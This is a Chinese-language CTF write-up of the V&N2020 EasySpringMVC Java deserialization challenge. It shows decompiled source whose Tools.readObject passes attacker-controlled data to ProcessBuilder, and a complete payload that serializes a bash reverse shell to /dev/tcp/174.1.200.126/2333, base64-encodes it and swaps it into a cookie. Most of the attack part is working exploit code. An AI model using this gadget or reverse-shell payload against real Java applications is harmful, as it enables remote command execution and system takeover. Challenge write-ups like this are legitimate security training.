CTF Web安全

[V&N2020 公开赛]EasySpringMVC(java反序列化)

Posted on 2020-06-12,4 min read

war下下来。反编译下
得到源码
ClientInfo.java

package com.tools;
import java.io.Serializable;
public class ClientInfo implements Serializable{
//定义了一个ClientInfo类。并且有serializeable接口
  private static final long serialVersionUID = 1L;
  private String name;
  private String group;
  private String id;
//类内有三个私有属性。name,group,id
  public ClientInfo(String name, String group, String id) {
//析构函数。对类内的私有属性赋值
    this.name = name;
    this.group = group;
    this.id = id;
  }
  public String getName() { return this.name; }
  public String getGroup() { return this.group; }
  public String getId() { return this.id; }
//三个获取私有值的函数
}

Tools.java

package com.tools;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Tools implements Serializable {
//定义了一个Tools类实现了seiralizable接口
  private static final long serialVersionUID = 1L;
  public static Object parse(byte[] bytes) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return ois.readObject();
  }
  private String testCall;
//定义私有属性
  public static byte[] create(Object obj) throws Exception {
//定义create函数。会把输入的object。最后变成字节数组。对象输出流(字节数组输出流)
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream outputStream = new ObjectOutputStream(bos);
    outputStream.writeObject(obj);
    return bos.toByteArray();
  }
  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
//readObject。会在反序列化的时候自动调用。这里obj参数可控。任意命令执行
    Object obj = in.readObject();
    (new ProcessBuilder((String[])obj)).start();
  }
}

java在序列化的时候。会触发writeobject方法
在反序列化的时候。会触发readobject方法
在tools类中。调用反序列化的时候触发readobject。就会将恶意的字符串执行
这边我们只需要控制obj的值
那么继续看。obj的值是从哪来的。
是readObject方法中in.readObject()方法得来的

可以看到。这里readobject读取的是writeobject的值。
那么我们直接用writeobject对一个tools类进行写入值。然后readobject读取的时候就会读取到恶意的字符串。然后带入执行

最终的payload

package com.tools;
import java.io.*;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Tools implements Serializable {
  private static final long serialVersionUID = 1L;
  
  public static Object parse(byte[] bytes) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
    return ois.readObject();
  }
  private String testCall;
  public static byte[] create(Object obj) throws Exception {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream outputStream = new ObjectOutputStream(bos);
    outputStream.writeObject(obj);
    return bos.toByteArray();
  }
  
  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    Object obj = in.readObject();
    (new ProcessBuilder((String[])obj)).start();
  }
  private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
    String command[]={"bash","-c","bash -i>& /dev/tcp/174.1.200.126/2333 0>&1"};
    out.writeObject(command);
  }

Main.java

package com.tools;
import java.io.*;
import java.util.Base64;
import com.tools.*;
public class Main {
    public static void main(String[] args) {
        Base64.Encoder encoder = Base64.getEncoder();
	try {
            Tools cinfo = new Tools();
            byte[] bytes = Tools.create(cinfo);
            String payload = encoder.encodeToString(bytes);
            System.out.println(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

替换cookie就行了

下一篇: ACTF PasteBin(JWT)伪造→